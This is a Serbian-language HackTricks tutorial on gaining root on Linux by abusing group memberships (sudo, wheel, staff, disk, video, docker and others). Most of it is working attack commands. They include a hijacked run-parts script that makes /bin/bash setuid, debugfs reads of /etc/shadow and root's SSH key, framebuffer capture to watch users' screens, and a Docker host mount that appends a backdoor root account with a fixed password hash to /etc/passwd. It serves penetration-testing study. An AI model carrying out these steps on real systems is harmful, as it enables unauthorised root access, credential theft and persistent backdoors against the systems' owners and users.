hacktricks/linux-hardening/privilege-escalation/interesting-groups-linux-pe

Interesantne Grupe - Linux Privesc

{% hint style="success" %} Učite i vežbajte hakovanje AWS-a:HackTricks Obuka AWS Crveni Tim Ekspert (ARTE)
Učite i vežbajte hakovanje GCP-a: HackTricks Obuka GCP Crveni Tim Ekspert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!
• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
• Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

{% endhint %}

Sudo/Admin Grupe

PE - Metoda 1

Ponekad, podrazumevano (ili zato što neki softver to zahteva) unutar datoteke /etc/sudoers možete pronaći neke od ovih linija:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Ovo znači da svaki korisnik koji pripada grupi sudo ili admin može izvršiti bilo šta kao sudo.

Ako je to slučaj, da biste postali root, jednostavno izvršite:

sudo su

PE - Metoda 2

Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka Pkexec:

find / -perm -4000 2>/dev/null

Ako otkrijete da je binarni pkexec SUID binarni i pripadate grupama sudo ili admin, verovatno možete izvršiti binarne datoteke kao sudo koristeći pkexec.
To je zato što su obično te grupe unutar polkit politike. Ova politika u osnovi identifikuje koje grupe mogu koristiti pkexec. Proverite to sa:

cat /etc/polkit-1/localauthority.conf.d/*

Ovde ćete pronaći koje grupe imaju dozvolu da izvrše pkexec i podrazumevano u nekim Linux distribucijama grupe sudo i admin se pojavljuju.

Za postati root možete izvršiti:

pkexec "/bin/sh" #You will be prompted for your user password

Ako pokušate da izvršite pkexec i dobijete ovu grešku:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Nije zato što nemate dozvole već zato što niste povezani bez grafičkog korisničkog interfejsa. Postoji način da se reši ovaj problem ovde: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Potrebne su vam 2 različite ssh sesije:

{% code title="sesija1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% endcode %}

{% code title="sesija2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Wheel Group

Ponekad, po podrazumevanim postavkama unutar datoteke /etc/sudoers možete pronaći ovu liniju:

%wheel	ALL=(ALL:ALL) ALL

Ovo znači da svaki korisnik koji pripada grupi wheel može izvršiti bilo šta kao sudo.

Ako je to slučaj, da biste postali root, jednostavno izvršite:

sudo su

Shadow grupa

Korisnici iz shadow grupe mogu čitati fajl /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Dakle, pročitajte datoteku i pokušajte provaliti neke hešove.

Grupa Osoblje

osoblje: Omogućava korisnicima da dodaju lokalne modifikacije na sistemu (/usr/local) bez potrebe za privilegijama root korisnika (napomena da izvršni fajlovi u /usr/local/bin su u PATH varijabli svakog korisnika, i mogu "zameniti" izvršne fajlove u /bin i /usr/bin sa istim imenom). Uporedite sa grupom "adm", koja je više povezana sa nadgledanjem/bezbednošću. [izvor]

U debian distribucijama, $PATH varijabla pokazuje da će /usr/local/ biti pokrenut sa najvišim prioritetom, bez obzira da li ste privilegovani korisnik ili ne.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Ako možemo preuzeti kontrolu nad nekim programima u /usr/local, lako možemo dobiti root pristup.

Preuzimanje kontrole nad programom run-parts je jedan od načina za lako dobijanje root pristupa, jer će većina programa pokrenuti run-parts (kao što su crontab, prilikom ssh prijave).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

ili kada se prijavi nova ssh sesija.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

Iskoristi

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Disk Grupa

Ova privilegija je skoro ekvivalentna pristupu kao root jer omogućava pristup svim podacima unutar mašine.

Fajlovi: /dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Imajte na umu da pomoću debugfs-a takođe možete pisati datoteke. Na primer, da biste kopirali /tmp/asd1.txt u /tmp/asd2.txt, možete uraditi:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Međutim, ako pokušate pisati datoteke koje su u vlasništvu root-a (poput /etc/shadow ili /etc/passwd), dobićete "Permission denied" grešku.

Video Grupa

Korišćenjem komande w možete saznati ko je prijavljen na sistemu i prikazaće izlaz poput sledećeg:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1 znači da je korisnik yossi fizički prijavljen na terminal na mašini.

video grupa ima pristup za pregled izlaza ekrana. U osnovi, možete posmatrati ekrane. Da biste to uradili, treba da uhvatite trenutnu sliku ekrana u sirovim podacima i dobijete rezoluciju koju ekran koristi. Podaci ekrana mogu biti sačuvani u /dev/fb0, a rezoluciju ovog ekrana možete pronaći na /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Da biste otvorili sirovu sliku, možete koristiti GIMP, izaberite datoteku **screen.raw ** i izaberite kao tip datoteke Podaci o sirovoj slici:

Zatim promenite Širinu i Visinu na one koje se koriste na ekranu i proverite različite Tipove slika (i izaberite onaj koji najbolje prikazuje ekran):

Root Grupa

Izgleda da prema podrazumevanim postavkama članovi root grupe mogu imati pristup izmeni nekih konfiguracionih datoteka servisa ili nekih biblioteka datoteka ili drugih interesantnih stvari koje se mogu koristiti za eskalaciju privilegija...

Proverite koje datoteke članovi root grupe mogu da menjaju:

find / -group root -perm -g=w 2>/dev/null

Docker grupa

Možete montirati korenski fajl sistem glavne mašine na instancu zapremine, tako da kada instanca počne, odmah učitava chroot u tu zapreminu. To vam efektivno daje root pristup mašini.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Konačno, ako vam se ne sviđaju predlozi ranije ili iz nekog razloga ne rade (firewall docker api?), uvek možete pokušati pokrenuti privilegovan kontejner i izbeći ga kako je objašnjeno ovde:

{% content-ref url="../docker-security/" %} docker-security {% endcontent-ref %}

Ako imate dozvole za pisanje preko docker socket-a pročitajte ovaj post o tome kako eskalirati privilegije zloupotrebom docker socket-a.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

Grupa lxc/lxd

{% content-ref url="./" %} . {% endcontent-ref %}

Grupa Adm

Obično članovi grupe adm imaju dozvole za čitanje log fajlova koji se nalaze unutar /var/log/.
Stoga, ako ste kompromitovali korisnika unutar ove grupe, definitivno biste trebali pregledati logove.

Grupa Auth

Unutar OpenBSD-a, grupa auth obično može pisati u fascikle /etc/skey i /var/db/yubikey ako se koriste.
Ove dozvole mogu biti zloupotrebljene pomoću sledećeg eksploata za escalaciju privilegija na root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot